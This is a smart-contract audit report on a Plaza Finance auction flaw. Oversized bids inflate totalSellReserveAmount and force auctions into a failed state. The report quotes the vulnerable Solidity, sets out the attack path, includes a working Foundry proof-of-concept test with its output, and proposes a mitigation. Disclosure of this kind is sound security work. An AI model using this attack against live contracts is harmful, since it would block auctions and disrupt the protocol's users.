Quiet Seafoam Carp

High

# Attacker can manipulate totalSellReserveAmount to prevent successfull auction

### Summary

In [Auction.endAuction()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L336) function if `totalSellReserveAmount >= (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100` auction will end with `state = State.FAILED_POOL_SALE_LIMIT`. And because any bidder can place any `buyReserveAmount` (except if it's more than `MAX_BID_AMOUNT`) then `totalSellReserveAmount` can be easily manipulated.

### Root Cause

In the `Auction.endAuction()` function contract checks if `totalSellReserveAmount >= (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100` and if it's `true` sets `state = State.FAILED_POOL_SALE_LIMIT`:
```Solidity
/**
  * @dev Ends the auction and transfers the reserve to the auction.
  */
function endAuction() external auctionExpired whenNotPaused {
  if (state != State.BIDDING) revert AuctionAlreadyEnded();

  if (currentCouponAmount < totalBuyCouponAmount) {
    state = State.FAILED_UNDERSOLD;
  //@audit check totalSellReserveAmount
  } else if (totalSellReserveAmount >= (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100) {
      state = State.FAILED_POOL_SALE_LIMIT;
  } else {
    state = State.SUCCEEDED;
    Pool(pool).transferReserveToAuction(totalSellReserveAmount);
    IERC20(buyCouponToken).safeTransfer(beneficiary, IERC20(buyCouponToken).balanceOf(address(this)));
  }

  emit AuctionEnded(state, totalSellReserveAmount, totalBuyCouponAmount);
}
```
`totalSellReserveAmount` can be easily manipulated and set in [Auction.bid()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L125) function to amount more than `Pool` contract has:
```Solidity
/**
  * @dev Places a bid on a portion of the pool.
  * @param buyReserveAmount The amount of buy tokens (reserve) to bid.
  * @param sellCouponAmount The amount of sell tokens (coupon) to bid.
  * @return The index of the bid.
  */
function bid(uint256 buyReserveAmount, uint256 sellCouponAmount) external auctionActive whenNotPaused returns(uint256) {
  if (sellCouponAmount == 0 || sellCouponAmount > totalBuyCouponAmount) revert InvalidSellAmount();
  if (sellCouponAmount % slotSize() != 0) revert InvalidSellAmount();
  if (buyReserveAmount == 0) revert BidAmountTooLow();
  if (buyReserveAmount > MAX_BID_AMOUNT) revert BidAmountTooHigh();

  // Transfer buy tokens to contract
  IERC20(buyCouponToken).safeTransferFrom(msg.sender, address(this), sellCouponAmount);

  Bid memory newBid = Bid({
    bidder: msg.sender,
    buyReserveAmount: buyReserveAmount,
    sellCouponAmount: sellCouponAmount,
    nextBidIndex: 0, // Default to 0, which indicates the end of the list
    prevBidIndex: 0, // Default to 0, which indicates the start of the list
    claimed: false
  });

  lastBidIndex++; // Avoids 0 index
  uint256 newBidIndex = lastBidIndex;
  bids[newBidIndex] = newBid;
  bidCount++;

  // Insert the new bid into the sorted linked list
  insertSortedBid(newBidIndex);
  currentCouponAmount += sellCouponAmount;
  //@audit buyReserveAmount can be more that Pool contract balance
  totalSellReserveAmount += buyReserveAmount;

  if (bidCount > maxBids) {
    if (lowestBidIndex == newBidIndex) {
      revert BidAmountTooLow();
    }
    _removeBid(lowestBidIndex);
  }

  // Remove and refund out of range bids
  removeExcessBids();

  // Check if the new bid is still on the map after removeBids
  if (bids[newBidIndex].bidder == address(0)) {
    revert BidAmountTooLow();
  }

  emit BidPlaced(newBidIndex,msg.sender, buyReserveAmount, sellCouponAmount);

  return newBidIndex;
}
```

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1. Attacker creates bid with `MAX_BID_AMOUNT`
1.1. If `(IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100` is still more than `totalSellReserveAmount` create another bid with `MAX_BID_AMOUNT`
2. After auction expired call `Auction.endAuction()` function

Moreover by adding few bids with `MAX_BID_AMOUNT` attacker can cause overflow in the new bids to make sure that his bids will not be removed.

### Impact

Attacker can manipulate the `state` of `Auction` contract.

### PoC

Add this test to `/test/Auction.t.sol`:
```Solidity
function testAttackerCanBlockSuccesfullEndOfAuction() public {
  address attackBidder = address(0x1001);
  uint256 mintAmountReserveToken = 1e11;
  uint256 bidAmount = 5e11;

  //mint reserve token to the pool
  weth.mint(address(pool), mintAmountReserveToken);

  //bidder creates highest bid
  vm.startPrank(bidder);
  usdc.mint(bidder, bidAmount);
  usdc.approve(address(auction), bidAmount);
  auction.bid(mintAmountReserveToken, bidAmount);
  vm.stopPrank();

  //attackBidder creates same bid with highest possible buyReserveAmount
  vm.startPrank(attackBidder);
  usdc.mint(attackBidder, bidAmount);
  usdc.approve(address(auction), bidAmount);
  auction.bid(auction.MAX_BID_AMOUNT(), bidAmount);
  vm.stopPrank();

  //add time to end auction
  vm.warp(block.timestamp + 15 days);
  
  auction.endAuction();

  Auction.State state = auction.state();
  //state is FAILED_POOL_SALE_LIMIT
  assertEq(uint256(Auction.State.FAILED_POOL_SALE_LIMIT), uint256(state));
}
```
In cmd run command:
```Shell
forge test --mt testAttackerCanBlockSuccesfullEndOfAuction
```
Output:
```Shell
Ran 1 test for test/Auction.t.sol:AuctionTest
[PASS] testAttackerCanBlockSuccesfullEndOfAuction() (gas: 499690)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.45ms (203.71Âµs CPU time)
```

### Mitigation

Check only `reserveAmount` of the winner in `Auction.endAuction()` function and in `Auction.bid()` function check `buyReserveAmount <= (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100`:
```Solidity
/**
  * @dev Ends the auction and transfers the reserve to the auction.
  */
function endAuction() external auctionExpired whenNotPaused {
  if (state != State.BIDDING) revert AuctionAlreadyEnded();

  if (currentCouponAmount < totalBuyCouponAmount) {
    state = State.FAILED_UNDERSOLD;
  //@audit only winner's buyReserveAmount is in check
  } else if (bids[highestBidIndex].buyReserveAmount >= (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100) {
      state = State.FAILED_POOL_SALE_LIMIT;
  } else {
    state = State.SUCCEEDED;
    Pool(pool).transferReserveToAuction(totalSellReserveAmount);
    IERC20(buyCouponToken).safeTransfer(beneficiary, IERC20(buyCouponToken).balanceOf(address(this)));
  }

  emit AuctionEnded(state, totalSellReserveAmount, totalBuyCouponAmount);
}

/**
  * @dev Places a bid on a portion of the pool.
  * @param buyReserveAmount The amount of buy tokens (reserve) to bid.
  * @param sellCouponAmount The amount of sell tokens (coupon) to bid.
  * @return The index of the bid.
  */
function bid(uint256 buyReserveAmount, uint256 sellCouponAmount) external auctionActive whenNotPaused returns(uint256) {
  if (sellCouponAmount == 0 || sellCouponAmount > totalBuyCouponAmount) revert InvalidSellAmount();
  if (sellCouponAmount % slotSize() != 0) revert InvalidSellAmount();
  if (buyReserveAmount == 0) revert BidAmountTooLow();
  //@audit check reserve amount
  if (buyReserveAmount > (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100) revert BidAmountTooHigh();
  ...
}
```